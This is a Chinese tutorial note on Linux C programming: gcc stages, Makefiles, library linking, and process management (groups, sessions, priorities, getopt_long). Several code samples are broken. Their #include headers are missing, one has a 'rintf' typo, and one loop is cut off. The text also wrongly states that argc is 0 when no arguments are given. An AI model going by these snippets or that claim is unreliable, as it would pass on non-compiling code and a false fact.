Linux操作系统实践

Linux操作系统实践

一、C语言基础

Ⅰ Linux 下 C 编程

1.1 源程序编译

  1. 编译工具——gcc

    Linux 下面,如果要编译一个 C 语言源程序,我们要使用 GNU 的 gcc 编译器。

    (1)代码实例

    • 一个简单的程序:输出 Hello Linux。

      #hello.c
      int main(int argc,char **argv) 
      { 
      	printf("Hello Linux\n"); 
      }
      

      要编译这个程序,我们只要在命令行下执行:

      gcc -o hello hello.c
      
    • 命令行参数说明:

      gcc:表示我们是用 gcc 来编译我们的源程序;
      -o 选项:表示我们要求编译器给输出的可执行文件命名为 hello ;
      hello.c:是我们的源程序文件。

    (2)gcc 执行,可选项

    • gcc 编译器有许多选项(一般来说我们只要知道其中的几个就够了):

      -o 选项:表示我们要求输出的可执行文件名。
      -c 选项:表示我们只要求编译器输出目标代码,而不必要输出可执行文件。
      -g 选项:表示我们要求编译器在编译的时候提供我们以后对程序进行调试的信息。

      更多选项——参照 gcc 的帮助文档。

  2. 使用GCC编译一个.c文件影藏了哪些过程?

    GCC四步详解
    (1)第一步:预处理(也叫预编译)

    gcc -E  hello.c  -o hello.i
    #或者 
    cpp hello.c > hello.i     #【cpp是预编译器】
    

    ① 将所有#define删除,并且展开所有的宏定义
    ② 处理所有的条件预编译指令,如#if #ifdef #undef #ifndef #endif #elif
    ③ 处理#include,将包含的文件插入到此处,这是一个递归的过程
    ④ 删除所有注释 // /* */
    ⑤ 添加行号和文件名标识,以便于编译时产生的错误警告能显示行号
    ⑥ 保留#pragma编译器指令

    (2)第二步:编译

     gcc  -S  hello.i   -o  hello.s
    

    将预处理完的.i文件进行一系列的词法分析、语法分析、语义分析及优化后生成响应的汇编代码文件,这是整个程序构建的最核心的部分,也是最复杂的部分。

    (3)第三步:汇编

    gcc  -c  hello.s  -o  hello.o
    #或者 
    as  hello.s -o  hello.o
    

    将第二步生成的汇编代码变成机器可执行的指令,每一个汇编语句几乎都对应一条机器指令。

    (4)第四步:链接

    链接动态库和静态库。

  3. 生成的目标文件有什么,什么是目标文件?

    目标文件:代码经过编译后但未进行链接的那些中间文件,Linux下的 .o文件就是目标文件。

    • 目标文件和可执行文件,内容和格式几乎都一样;所以我们可以广义地将它们看成同一类型文件。
    • 目标文件、可执行文件,都是按照ELF文件格式存储的。
  4. Linux下有哪些ELF类型的文件?

    .o文件、可执行文件、核心转储文件(core dump)、.so文件(动态链链接库)。

  5. 运行 —— 编译后的c程序

    https://blog.csdn.net/qq_31125955/article/details/79343498

    ./xxx
    

1.2 Makefile 的编写

https://blog.csdn.net/ramfmy/article/details/51852002

  1. 举个例子

    ——程序源:1个主函数类main.c ;2个头文件mytool1.h、mytool2.h;2个工具类mytool1.c、mytool2.c。

    /* main.c */ 
    #include "mytool1.h" 
    #include "mytool2.h" 
    int main(int argc,char **argv) 
    { 
    	mytool1_print("hello"); 
    	mytool2_print("hello"); 
    } 
    
    /* mytool1.h */ 
    #ifndef _MYTOOL_1_H 
    #define _MYTOOL_1_H 
    void mytool1_print(char *print_str); 
    #endif
    
    /* mytool1.c */ 
    #include "mytool1.h" 
    void mytool1_print(char *print_str) 
    { 
    	printf("This is mytool1 print %s\n",print_str); 
    } 
    
    /* mytool2.h */ 
    #ifndef _MYTOOL_2_H 
    #define _MYTOOL_2_H 
    void mytool2_print(char *print_str); 
    #endif 
    
    /* mytool2.c */ 
    #include "mytool2.h" 
    void mytool2_print(char *print_str) 
    { 
    	printf("This is mytool2 print %s\n",print_str); 
    } 
    
  2. 编译方式

    (1)shell

    gcc -c main.c 
    gcc -c mytool1.c 
    gcc -c mytool2.c 
    gcc -o main main.o mytool1.o mytool2.o
    

    (2)使用 make 工具

    编写Makefile文件:

    有了这个 Makefile 文件,不管我们什么时候修改了源程序当中的什么文件,只要执行 make 命令,编译器都只会去编译和我们修改的文件有关的文件。

    # 这是上面那个程序的 Makefile 文件
    main:main.o mytool1.o mytool2.o 
    	gcc -o main main.o mytool1.o mytool2.o 
    main.o:main.c mytool1.h mytool2.h 
    	gcc -c main.c 
    mytool1.o:mytool1.c mytool1.h 
    	gcc -c mytool1.c 
    mytool2.o:mytool2.c mytool2.h 
    	gcc -c mytool2.c 
    
  3. Makefile 编写规则

    ① 在 Makefile 中以 # 开始的行都是注释行;
    ② Makefile 中最重要的是描述文件的依赖关系的说明;

    • 一般的格式是:
      target: components TAB rule
    • 第一行表示的是依赖关系:
      • 表示我们的目标(target)xxx 的依赖对象(components)是xxxxx。
    • 第二行是规则:
      • 当倚赖的对象在目标修改后修改的话,就要去执行(rule)所指定的命令;
      • TAB:表示那里是一个 TAB 键。

    ③ Makefile 有三个非常有用的变量:$@,$^,$<

    • 3个变量代表的意义分别是:

      $@——目标文件
      $^——所有的依赖文件
      $<——第一个依赖文件

    # 这是简化后的 Makefile 
    main:main.o mytool1.o mytool2.o 
    	gcc -o $@ $^ 
    main.o:main.c mytool1.h mytool2.h 
    	gcc -c $< 
    mytool1.o:mytool1.c mytool1.h 
    	gcc -c $< 
    mytool2.o:mytool2.c mytool2.h 
    	gcc -c $< 
    

    ④ 一个 Makefile 的缺省规则:

    • ..c.o: gcc -c $<
      ——这个规则表示:所有的 .o 文件都是依赖与之相应的 .c 文件的。
    # 这是再一次简化后的 Makefile 
    main:main.o mytool1.o mytool2.o 
    	gcc -o $@ $^ 
    ..c.o:
    	gcc -c $<
    

1.3 程序库的链接

  1. 举个例子

    /* temp.c */ 
    #include ; 
    int main(int argc,char **argv) 
    { 
    	double value; 
    	printf("Value:%f\n",value); 
    }
    

    (1)编译报错

    编译过程:

    gcc -o temp temp.c
    

    编译时会出现下面所示的错误:

    • 编译器找不到 log 的具体实现。
    /tmp/cc33Kydu.o: In function `main':
    /tmp/cc33Kydu.o(.text+0xe): undefined reference to `log' 
    collect2: ld returned 1 exit status
    

    (2)连接库

    在 Linux 下,为了使用数学函数,必须和数学库连接。为此我们要加入 -lm 选项,正确的编译方式

    gcc -o temp temp.c -lm
    
  2. 库的链接

    (1)指定库的路径

    有时候我们在编译程序的时候还要指定库的路径,这个时候我们要用到编译器的 -L 选项指定路径。

    • 比如说我们有一个库在 /home/hoyt/mylib 下,
    • 那么,编译的时候还要加上 -L/home/hoyt/mylib

    (2)系统的缺省库

    对于一些常用的函数的实现,如 printf 函数,gcc编译器会自动去连接一些常用库,这样我们就没有必要自己去指定了路径;系统的缺省库的路径:/lib/usr/lib/usr/local/lib

    (3)使用了一个未知库的某个函数

    ① 首先,到标准库路径下面寻找有没有相关的库。

    ② 使用:文件分析工具 —— nm

    https://blog.csdn.net/giveaname/article/details/94722034

    https://blog.csdn.net/did59261/article/details/102442939

    • nm命令是linux下自带的特定文件分析工具,一般用来检查分析二进制文件、库文件、可执行文件中的符号表,返回二进制文件中各段的信息。

      • nm指令是names的简称,通过该指令可以列举文件中的符号。
    • 用法:nm [选项] [文件名称] 。(若未输入文件名,则默认作用于当前路径的a.out文件。)

      • 参考选项- 说明书:man nm
    • 比如,我要找 sin 这个函数所在的库:

      nm -o /lib/*.so|grep sin>;~/sin
      
      • -A 或 -o 或 --print-file-name:打印出每个符号属于的文件;

      • 看~/sin 文件,libm-2.1.2.so:00009fa0 W sin

        去掉前面的 lib 和后面的版本标志,就剩下 m 了;——所以是 -lm

1.4 程序的调试

  1. 程序调试工具

    (1)最常用的调试软件是—— gdb;

    • 关于 gdb 的使用可以看 gdb 的帮助文件。

    (2)如果你想在图形界面下调试程序,那么你现在可以选择 xxgdb。

    • 记得要在编译的时候加入 -g 选项

    (3)IDE 环境:也会自带调试器

  2. 手动调试

    最原始的方法:在程序当中输出中间变量的值来调试程序。

1.5 头文件和系统求助

  1. man

    如何去了解一个命令呢,最好的方法就是linux下的man命令。(如果说,linux是一个宝库,那么man指令就相当于这个宝库的说明书。)

    (1)一般函数:man xxx

    比如说,我们想知道 fread 这个函数的确切形式,只要执行 man fread 系统就会输出着函数的详细解释和这个函数所在的头文件 说明。

    (2)系统调用函数:man 2 xxx

    如果我们要得到 write 这个函数的说明,执行 man write 时,输出的结果却不是我们所需要的。

    • 因为我们要的是 write 这个函数的说明,可是出来的却是 write 这个命令的说明。
    • 为了得到 write 的函数说明我们要用 man 2 write
    • 2 表示我们用的 write 这个函数是系统调用函数

    (3)库函数:man 3 xxx

    • 3 表示函数是 C 的库函数

Ⅱ 进程管理

2.1 进程的基本概念

in a word,进程是指处于运行状态的程序。

  • 一个源程序经过编译、链接后,成为一个可以运行的程序。
    • 当该可执行的程序被系统加载到内存空间运行时,就称为进程。
  • 程序是静态的保存在磁盘上的代码和数据的组合,而进程是动态的概念。
  1. 进程的属性

    主要的进程属性:(8个))
    (1)标识符
    进程创建时,内核为每个进程分配一个惟一的进程标识符。

    • 进程的标识符是一个非负整数,取值范围从 0~32767。
      进程 ID 是由系统循环使用的。
      如果当前可用进程号超过了最大值,将从 0 选择可用的整数继续循环使用。

    (2)父进程标识符
    Linux 下的全部进程组成一棵进程树。

    • 其中树根进程是 0 号进程 swapper。除根进程外,每个进程都有其对应的父进程。

    (3)用户标识
    是指运行该程序的用户 ID。

    • 当一个程序被某个用户执行而变为进程时,该用户就成为进程的用户标识。

    (4)组标识
    是指运行该程序的用户所归属的组 ID。

    (5)有效用户标识
    是指当前进程的有效组标识。

    • 在进行文件权限许可等检查时,以该有效组标识为依据。进程的用户和组相关的 4 个标识主要用于检查对文件系统的访问权限。
    • 通常情况下,进程的用户标识与有效用户标识是相同的,但是对于 suid 程序来说,其有效用户 ID(超级用户 root) 与用户 ID 是不同的。

    (6)有效组标识
    是指当前进程的有效组标识。

    • 在进行文件权限许可等检查时,以该有效组标识为依据。进程的用户和组相关的 4 个标识主要用于检查对文件系统的访问权限。

    (7)进程组标识符
    一个进程可以属于某个进程组。

    • 通过设置进程组,可以实现向一组进程发送信号等进程控制操作。

    (8)会话标识符
    每个进程都属于惟一的会话。

    • 在进程的属性中包含了进程的会话 ID 信息。
  2. 进程属性的获取

    (1)ps命令

    进程的大部分属性可以通过执行命令 ps 查看得到:

    ps –alef|more /*输出系统内全部进程的信息*/

    (2)编程方式

    Linux 支持通过编程的方式获取进程的属性:

    #include  
    __pid_t getpid (void); //获取当前进程的进程 ID 
    __pid_t getppid (void); //获取当前进程的父进程 ID 
    __pid_t getpgrp (void); //获取当前进程的进程组 ID 
    __uid_t getuid (void); //获取当前进程的实际用户 ID 
    __uid_t geteuid (void); //获取当前进程的有效用户 ID 
    __gid_t getgid (void); //获取当前进程的实际用户组 ID 
    __gid_t getegid (void); //获取当前进程的有效用户组 ID 
    __pid_t getsid (__pid_t __pid); //获取指定进程的会话 ID 
    

    返回值说明如下:

    -1:调用失败,查看 errno 获取详细错误信息。
    其他:获取到的进程属性信息

    (3)代码实例

    通过编程方式获取进程的属性信息(代码):

    #include  /*头文件*/ 
    #include  
    main() /*主函数*/ 
    { 
        printf("process id=%d\n",getpid()); /*进程 ID*/ 
        printf("parent process id=%d\n",getppid()); /*进程的父进程 ID*/ 
        printf("process group id=%d\n",getpgrp()); /*进程的组 ID*/ 
        printf("calling process's real user id=%d\n",getuid()); /*进程的用户 ID*/ 
        printf("calling process's real group id=%d\n",getgid()); /*进程的用户组 ID*/ 
        printf("calling process's effective user id=%d\n",geteuid()); /*进程的有效用户 ID*/ 
        printf("calling process's effective group id=%d\n",getegid()); /*进程的有效用户组 ID*/ 
    }
    
  3. 进程的内存映像

    一个可执行程序被系统加载后,成为一个进程。在系统内存映像中,进程主要包括代码段、数据段、BSS 段、堆栈段等部分。

    1-1

    (1)代码段

    代码段是用来存放可执行文件的指令,是可执行程序在内存中的映像。对代码段的访问有严格安全检查机制,以防止在运行时被非法修改。——代码段是只读的。

    (2)数据段

    数据段用来存放程序中已初始化全局变量。

    (3)BSS段

    BSS 段包含程序中未初始化的全局变量。

    (4)堆栈段

    堆(heap):堆是进程空间内的内存区,用于进程运行过程中动态分配内存。堆的大小不固定,可根据程序运行过程中的要求动态变化。

    • 当程序中调用 malloc 等函数申请内存时,新申请的内存被动态添加到堆内;
      当用free等函数释放内存时,被释放的内存从堆中被删除。

    栈(stack):栈是存放程序中的局部变量的内存区。另外,栈还被用于保存函数调用时的现场。

    • 在调用函数时,函数的参数被压入栈,由函数从栈中取出。
      在函数返回时,将返回值压入栈,由主调函数从栈中取出。
      栈是由系统自动分配的,用户程序不需要关心其分配及释放。
  4. 进程组

    在 Linux 系统中,每个进程都惟一的归属于某个进程组。在 shell 环境中,一条 Linux 命令就形成一个进程组。这条命令可以只包含一个命令,也可以是通过管道符连接起来的若干命令。

    • 每个进程组都有一个组长进程;进程组的 ID 就是这个组长的 ID。
    • 当进程组内的所有进程都结束或者加入到其他进程组内时,该进程组就结束了。

    (1)系统调用 setpgid 修改某个进程的进程组

    #include  
    int setpgid (__pid_t __pid, __pid_t __pgid); 
    

    ① 参数说明

    • __pid:输入参数,用于指定要修改的进程 ID。如果该参数为 0,则指当前进程 ID。
      __pgid:输入参数,用于指定新的进程组 ID。如果该参数为 0,则指当前进程 ID。

    ② 返回值说明

    • 0:表明调用成功。
      -1:表明调用失败,查看 errno 可以获取详细的错误信息。

    (2)编程实现

    调用 setpgid 使本进程成为新进程组的组长:

    #include  /*头文件*/ 
    #include  
    main() /*主函数*/ 
    { 
        setpgid(0,0); /*设置当前进程为新的进程组的组长*/ 
        sleep(10); /*休眠 10 秒,以供查看进程状态*/ 
    }
    

    Tips:

    在 Linux 下还有另外一个函数 setpgrp 用于设置当前进程为进程组的组长。

    • 调用该函数后,将产生一个新的进程组,进程组的组 ID 为调用进程的 ID。
      ——也就是说,调用 setpgrp将创建一个以调用进程为组长的新的进程组。
    • 该函数的功能可以用 setpgid(0,0)替代实现。
  5. 进程的会话

    当用户登录一个新的 shell 环境时,一个新的会话就产生了。

    • 一个会话可以包括若干个进程组,但是这些进程组中只能有一个前台进程组,其他的为后台运行进程组

      • Linux 系统的进程大体可以分为前台进程和后台进程:

        • 所谓前台进程就是运行过程中与控制终端相连接的进程,随时可以通过控制终端与前台进程进行交互,如用户登录时的 shell 进程就是前台进程。
        • 后台进程一般无控制终端,如 Linux 系统下各种守护进程就属于后台进程。
    • 前台进程组通过其组长进程与控制终端相连接,接收来自控制终端的输入及信号。

    • 一个会话由会话 ID 来标识,会话 ID 是会话首进程的进程 ID。

    1-2

    (1)系统调用函数

    Linux 提供了系统调用 setsid 用于产生一个新的会话。

    • 调用 setsid 的进程应该保证不是某个进程组的组长进程;
    • setsid 调用成功后,将生成一个新的会话;新会话的会话 ID是调用进程的进程 ID。
    • 新会话中只包含一个进程组,该进程组内只包含一个进程:即调用setsid 的进程,且该会话没有控制终端。

    原型如下:

    #include  
    __pid_t setsid(void);
    

    返回值说明:

    • -1:调用 setsid 失败,查看 errno 可以获取详细的错误信息。
      • 典型的错误是调用进程是某个进程组的组长,此时 setsid 将失败,错误码/errno 为 EPERM。
    • 其他值:返回进程的进程组 ID。

    (2)编程实现

    调用 setsid 实现进程的后台运行:

    #include  /*头文件*/ 
    #include  
    main() /*主函数*/ 
    { 
    	int n; /*循环变量定义*/ 
    	__pid_t nPid; /*进程 ID 变量*/ 
    	__pid_t nGroupId; /*进程的组长进程 ID*/ 
    	if((nPid = fork()) < 0) /*创建新的子进程*/ 
    	{ 
    		perror("fork"); /*创建子进程失败,错误处理*/ 
    		exit(0); 
    	} 
    	if(nPid != 0) /*父进程*/ 
    		exit(0); /*父进程退出*/ 
    	nGroupId = setsid(); /*产生新会话,返回新创建的进程组的组 ID*/ 
    	if(nGroupId == -1) /*错误处理*/ 
    	{ 
    		perror("setsid"); /*输出错误信息*/ 
    		exit(0); 
    	} 
    	for(n=0;n<10;n++) /*循环休眠一段时间退出,供用户查看运行结果*/ 
    		sleep(3); /*休眠 3 秒*/ 
    } 
    

    tips:

    ① 调用 fork 创建新的子进程。

    • fork 返回值如果小于 0,表明创建子进程出错;
    • fork 返回值如果不等于 0,表明是在父进程中,返回值是新生成的子进程的进程 ID;
    • fork 返回值如果等于 0,表明当前是在子进程中。

    ② 调用 setsid 要求调用进程不能为进程组的组长进程。

    • 一个程序执行时,将新生成一个进程组;
    • 主进程是当前进程组的组长,创建子进程后,该进程组会有两个进程:主进程和刚刚创建的子进程。此时,父进程退出后,进程组仍然存在(由于子进程还在);
    • 通过调用条件判断语句,确保子进程不是进程组的组长进程。

    ③ 循环调用 sleep,以方便通过另外的 shell 查看进程信息。

  6. 进程的控制终端

    (1)Linux 系统的终端环境

    作为多用户、多任务的操作系统,Linux 支持多个用户同时从终端登录系统。(Linux 终端类似于 Windows 环境下的远程桌面连接。)

    • 用户通过终端输入请求,提交给主机运行并显示主机的运行结果。

    • 传统的 Linux 终端是由 RS232 串口通信协议的串口终端,终端与主机间的通讯通过主机的串口进行。

      这种串口终端数据传输速度较慢,并且传输距离有限,现在已逐渐为网络终端所代替。

    • 网络终端与主机间通过以太网(Ethernet)相连接,数据传输速度大为提高。

    Linux系统中多用户环境下终端的使用如图所示:

    1-3
    • Linux 系统中,每个终端设备都有一个设备文件与其相关联,这些终端设备称为 tty。
    • 在shell 环境下,可以通过执行命令 tty 查看当前终端的名称。
    • 用户可以通过 telnet 远程登录到某个 Linux 系统,此时其实并没有真正的终端设备;这种情况下,Linux 系统将为用户自动分配一个称为“伪终端”的终端设备。
      • 伪终端的设备文件名称类似/dev/pts/???。

    (2)Linux 的进程环境

    在 Linux 的进程环境中,有一个称为“控制终端”的概念,即一个进程运行时,进程与用户进行交互的界面。

    • 一个进程从终端启动后,这个进程的运行过程就与控制终端密切相关;
    • 可以通过控制终端输入/输出,也可以通过控制终端向进程发送信号(可以按『+键』中止程序运行);
    • 当控制终端被关闭时,该控制终端所关联的进程将收到 SIGHUP 信号(系统对该信号的缺省处理方式就是中止进程)。

    用户可以通过执行 shell 命令 ps –ax查看进程的控制终端:

    • 在 ps 的输出中,有一列名称为“TTY”的就是控制终端;
    • 如果该列中有值,表明进程是有控制终端的,否则表明进程没有控制终端。
  7. 进程的状态

    Linux 的进程是由操作系统内核调度运行的。在调度过程中,进程的状态是不断发生变化的。

    • 这些状态主要包括:

      • 可运行状态、等待状态(也称为睡眠状态)、暂停状态、僵尸状态、退出状态等。
    • 可运行状态又包括就绪状态和执行状态,只有处于执行状态的进程是真正占用 CPU 的进程。

      ① 可运行状态(RUNNING)

      该状态有两种情况,

      • 一是进程正在运行——执行状态;
      • 二是处于就绪状态(进程预备运行状态),在等待系统按照时间片轮转规则将 CPU 分配给它,只要得到 CPU 就可以立即投入运行。

      ② 等待状态(SLEEPING)

      表明进程正在等待某个事件发生或者等待某种资源。该状态可以分成两类:可中断的和不可中断的。

      • 处于可中断等待状态的进程,既可以被信号中断,也可以由于资源就续而被唤醒进入运行状态。
      • 而不可中断等待状态的进程在任何情况下都不可中断,只有在等待的资源准备好后方可被唤醒。

      ③ 暂停状态(STOPPED)

      进程接收到某个信号,暂时停止运行。大多数进程是由于处于调试中,才会出现该状态。

      ④ 僵尸状态(ZOMBIE)

      表示进程结束但尚未消亡的一种状态。一个进程结束运行退出时,就处于僵尸状态。

      • 进程会在退出前向其父进程发送 SIGCLD 信号。
      • 父进程应该调用 wait 为子进程的退出做最后的收尾工作。如果父进程未进行该工作,则子进程虽然已退出,但通过执行 ps 命令仍然可以看到该进程,其状态就是僵尸状态。
      • 在应用编程中,应尽量避免僵尸进程的出现。

    在 Linux 系统下,除 ps 命令可以查看进程状态外,还有另外一个重要的进程查看工具 top。

    • ps 命令输出的是静态的,是进程的某一时刻的信息;
    • top 命令可以持续的动态的输出进程的信息。
      • 每间隔一定时间(可以通过-d 参数指定刷新间隔时间),该信息就会刷新一次。
  8. 进程的优先级

    (1)“时间片轮转”的进程调度方式

    即使是多任务系统,在 CPU 数量少于同时运行的进程数量时,也不可能实现真正的同时运行。为实现多任务的目标,Linux 使用了一种称为“时间片轮转”的进程调度方式,为每个进程指派一定的运行时间。

    • 这个时间片通常很短,以毫秒甚至更小的时间级别为单位。
    • 系统核心依照某种规则,从大量进程中选择一个进程投入运行,其余的进程暂时等待。
    • 当正在运行的那个进程时间片用完,或进程执行完毕退出,Linux 就会重新进行进程调度,挑选下一个可用进程投入运行。由于每一个进程运行时占用的时间片很短,在用户的角度来看,就如同多个进程同时运行一样。

    (2)优先级定义

    进程的优先级定义了进程被调度的优先顺序——优先级的数值越低,进程越是优先被调度。

    • 优先级的是由进程的优先级别(PR)和进程的谦让值(NI)两个因素联合确定的。
    • Linux 系统内核在调度进程时,将优先级别(PR 值)和谦让值(NI)相加以确定进程的真正优先级别。
    • 对于一个进程来说,其优先级别是由父进程继承而来的,用户进程不可更改。

    为方便用户修改进程运行的优先级,Linux 提供了 nice 系统调用以修改进程的谦让值。进程的谦让值在进程被创建时置为缺省值为 0。系统允许的谦让值范围为『最高优先级的-20』到『最低优先级的 19』。

    ① nice 系统调用

    nice 的声明位于头文件中,其原型如下:

    #include  
    int nice (int __inc); 
    
    • 参数说明:
      • __inc:输入参数,指定新的谦让值。该参数取值范围为-20~19。
    • 返回值说明:
      • 0:调用成功。
      • -1:调用失败,可以查看 errno 获取错误信息。

    Tips:

    • 只有超级用户可以在调用 nice 时指定负的谦让值。也就是说只有超级用户才可以提高进程的调度优先级别。如果不是超级用户而指定负的谦让值,则 nice 调用返回失败,errno 为 EPERM。
    • 除 nice 系统调用外,也可以通过执行 nice 和 rnice 命令来修改一个进程的谦让值。nice 可以在执行一个程序时,直接指定谦让值,而 rnice 命令则可以修改一个正在运行的进程的谦让值。

    ② setpriority 系统

    nice 系统调用只能修改进程自身的谦让值,而另外一个系统调用 setpriority 则可以修改其他进程甚至一个进程组的谦让值。该系统调用的声明位于头文件中,其原型如下:

    #include  
    int setpriority (__priority_which_t __which, id_t __who, int __prio)
    • 参数说明:

      • __which:输入参数,指定设置谦让值的目标类型。

        setpriority 可以对 3 种目标进行谦让值设置,分别是:

        PRIO_PROCESS——是为某进程设置谦让值;
        PRIO_PGRP——是为某进程组设置谦让值;
        PRIO_USER——是为某个用户的所有进程设置谦让值。

      • __who:输入参数,设置谦让值的目标。

        对于 PRIO_PROCESS 类型的目标,该参数为进程 ID;
        对于 PRIO_PGRP 类型的目标,该参数为进程组 ID;
        对于 PRIO_USER 类型的目标,该参数为用户 ID。

        如果该参数为 0,对于 3 种目标类型,分别表示当前进程、当前进程组、当前用户。

      • __prio:输入参数,要设置的谦让值,输入范围为-20~19。只有超级用户可以用负值调用 setpriority。

    • 返回值说明:

      • 0:调用成功。
      • -1:调用失败,可以查看 errno 获取错误信息。

    ③ etpriority 系统

    进程的谦让值被修改后,如何得到进程的谦让值呢?Linux 提供了系统调用 getpriority 实现这一目的。getpriority 是与 setpriority 相对应的系统调用,其声明位于头文件中,其原型如下:

    #include  
    int getpriority (__priority_which_t __which, id_t __who)

    getpriority 系统调用比较特殊,可能返回负值,所以无法直接根据返回值确定是否调用成功。建议调用 getpriority 前,置 errno 为 0,如果调用后 errno 为 0,表明成功,否则表明调用失败。

    (3)编程实现

    修改进程的谦让值,调用完成后输出进程的谦让值。

    #include  /*头文件*/ 
    #include  
    #include  
    main()
    { 
    	int nPr; /*整型变量定义*/ 
    	if(nice(3) == -1) /*进程的谦让值为 3,进程的优先级降低*/ 
    	{ 
    		perror("nice"); /*错误处理*/ 
    		exit(0); 
    	} 
    	errno = 0; /*设置全局错误变量为 0*/ 
    	nPr = getpriority(PRIO_PROCESS,getpid()); /*获得当前进程的谦让值*/ 
    	if(errno != 0) /*错误处理*/ 
    	{ 
    		perror("getpriority"); /*输出错误信息*/ 
    		exit(0); 
    	} 
    	printf("priority is %d\n",nPr); /*输出进程的谦让值*/ 
    } 
    

2.2 进程的运行环境

  • 程序被加载到系统内存而成为一个进程是一个复杂的过程。
  • Linux 系统为进程的运行提供了强大的进程运行环境。
  1. 进程的入口函数

    (1)main函数

    ① 程序入口

    C 语言的入口函数是 main,在 Linux 下也是如此。进程开始执行时,都是从main 函数开始的。

    • 所以,在一个可执行的 Linux 程序中,必须有包含 main 函数。main 函数的原型定义如下:

      int main(int argc,char *argv[],char *env[]); 
      
    • 参数说明:

      argc:表明程序执行时的命令行参数个数。

      • 该参数个数包含了程序名称本身。
        也就是说,如果执行程序时,未在命令行输入任何参数,则该 argc 值为 0。

      argv[]:命令行参数数组。

      • 其中每一个数组成员为一个命令行参数。『程序名称』是该数组的第一个成员 argv[0]。
      • 在 Linux 系统中,各命令行参数是以空格分隔的。

      env[]:环境变量数组,可以在程序中访问这些环境变量。

    • 返回值说明:

      main 函数的返回值可以在 shell 中获取到。

    • 格式:

      main 函数可以有多种格式。

      如果不需要对命令行参数进行处理,可以直接使用 main() 这种简单的方式。

    ② 代码演示

    main 函数演示

    #include  									/*头文件*/ 
    int main(int argc,char *argv[],char *env[])			/*主函数*/ 
    { 
    	int i; 											/*循环变量*/ 
    	for(i=0; i

    tips:

    • Linux 环境下,有多个 shell 系统变量,
      $#:命令行参数个数;
      $n:命令行参数,n为非负整数;
      $?:前一条命令的返回码;
      $$:本进程的进程 ID;
      $!:上一进程的进程 ID;
    • 程序执行完毕后,通过 shell 执行命令 echo $?——查看程序的返回值。

    (2)getopt 系统调用

    在编程过程中可以通过直接访问命令行参数数组获取命令行参数。另外,Linux 还提供了专门的系统调用 getopt 获取命令行参数。

    • getopt 提供更为强大的获取命令行参数的方法。
    • 它不仅可以获取命令行参数,而且可以按照规则解析命令行参数。

    ① getopt 的声明

    getopt 的声明位于头文件中,其原型如下:

    #include
    int getopt(int ___argc, char *const *___argv,const char *__shortopts)
    int getopt_long (int ___argc, char *const *___argv,const char *__shortopts,const struct option *__longopts, int *__longind);
    
    • 参数说明:

      ___argc:输入参数,即 main 函数的 argc;
      ___argv:输入参数,即 main 函数的 argv;
      ___shortopts:输入参数,选项字符串。改参数指定了解析命令行参数的规则。

      • getopt 认可的命令行选项参数是通过“-”进行的;
      • 该参数中,如果某个选项有输入数据,则在该选项字符的后面应该包含“:”
    • 如果该参数的第一个字符是“:”, getopt 发现无效参数后并不返回失败,而是返回“?”或者“:”。

      返回“?”——表示选项无效;

      返回“:”——表示需要输入选项值。

    ② getopt 的多字符选项

    getopt 只能支持单字符选项,如-1、-a 等。如果需要支持多字符的选项,如-file 等,就需要用到getopt_long。

    • getopt_long通过指定一个struct option 类型的结构数组,将多字符的选项映射为单个字符,从而实现了对多字符选项的支持。

    • struct option 的结构如下所示:

      struct option 
      { 
       const char *name; 
       int has_arg; 
       int *flag; 
       int val; 
      }; 
      
    • 各结构成员的说明:

      name:定义了多字符的选项名称。
      has_arg:定义了是否有选项值

      • 如果该值为 0,表示没有选项值;
      • 如果该值为 1,表明该选项有选项值;
      • 如果该值为 2,表示该选项的值是可有可无的

      flag:通常该成员定义为NULL即可。

      • 如果该成员定义为 NULL,那么调用 getopt_long 的返回值为该结构 val 字段值;
      • 如果该成员不为 NULL,getopt_long 调用后,将在该参数所指向的变量中填入 val 值,并且 getopt_long 返回0。

      val:是该长选项对应的短选项名称。

    • 与 getopt_long 相关的其他参数说明:

      __longind:输出参数,如果该参数没有设置为 NULL,那么它是一个指向整型变量的指针。

      • 在 getopt_long 运行时,该整型变量会被赋为获取到的选项在结构数组 __longopts 中的索引值。
    • 返回值说明:

      “?”:表明 getopt 返回一个未在 __shortopts 定义的选项。
      “:”:表明该选项需要选项值,则实际未输入选项值。
      -1:表明 getopt 解析完毕,后面已经没有选项。
      0:在 getopt_long 的结构数组参数 __longopts 中的成员 flag 定义了值。

      • 此时,getopt_long 返回 0,而选项的参数将存储在 flag 所指向的变量中。

      其他:返回的选项字符。

    • 在使用 getopt 时,需要注意与该系统调用相关的全局变量的使用:

      optind:(整型变量)

      • 存放环境变量数组 argv 的当前索引值。

      • 当调用 getopt 循环取选项结束(getopt 返回-1)后,剩余的参数在 argv[optind]~argv[argc-1]中。

      optarg:(字符串指针)

      • 当处理一个带有选项值的参数时,全局变量 optarg 将存放该选项的值。

      optopt:(整型变量)

      • 当调用 getopt 发现无效的选项(getopt 返回?或者:)时,此时optopt包含了当前无效的选项。

      opterr:(整型变量)

      • 如果调用 getopt 前设置该变量为 0,则 getopt 在发现错误时不输出任何信息。

    ③ 编程实现

    利用 getopt_long 编程实现可以接受如下选项的程序:

    短选项 长选项 说明
    -f –flag 输入标志
    -n username –name

    示例代码:

    #include  									/*头文件*/ 
    #include  								/*getopt 系列函数要包含本头文件*/ 
    int save_flag_arg; 									/*全局整型变量定义*/ 
    char *opt_arg_value; 								/*全局字符串变量定义*/ 
    struct option longopts[] = { 					/*结构数组,用于定义每个参数的细节*/ 
    	{ "flag", no_argument, &save_flag_arg,'f'}, 	/*选项无选项值*/ 
    	{ "name", required_argument, NULL,'n'}, 		/*选项需要选项值*/ 
    	{ NULL, 0, NULL, 0}, 							/*结构数组结束*/ 
    }; 
     int main(int argc, char *argv[]) 					/*主函数*/ 
     { 
    	int i,c; 										/*整型变量定义*/ 
    	while((c = getopt_long(argc, argv, ":n:f", longopts, NULL)) != -1) 
        												/*循环解析命令行参数*/ 
    	{ 
    		switch (c)									 /*调用 switch 判断输入的选项*/ 
    		{ 
    		case 'n': 										/*选项 n*/ 
    			opt_arg_value = optarg; 					/*获得选项值*/ 
    			rintf("name is %s.\n", opt_arg_value); 		/*输出用户名称*/ 
    			break; 
    		case 0: 
    			if(save_flag_arg == 'f') 				
                /*结构成员中定义了 flag,输入值保存在该变量中,而 getop返回 0*/ 
    			{ 
    				printf("flag argument found!\n"); 			/*输出错误信息*/ 
    			} 
    			break; 
    		case ':': 									/*选项需要输入值,而实际未输入*/ 
    			printf("argument %c need value.\n",optopt); 	/*输出提示信息*/ 
    			break; 
    		case '?': 											/*无效的选项*/ 
    			printf("Invalid argument %c!\n",optopt); 		/*输出错误信息*/ 
    			break; 
    		} 
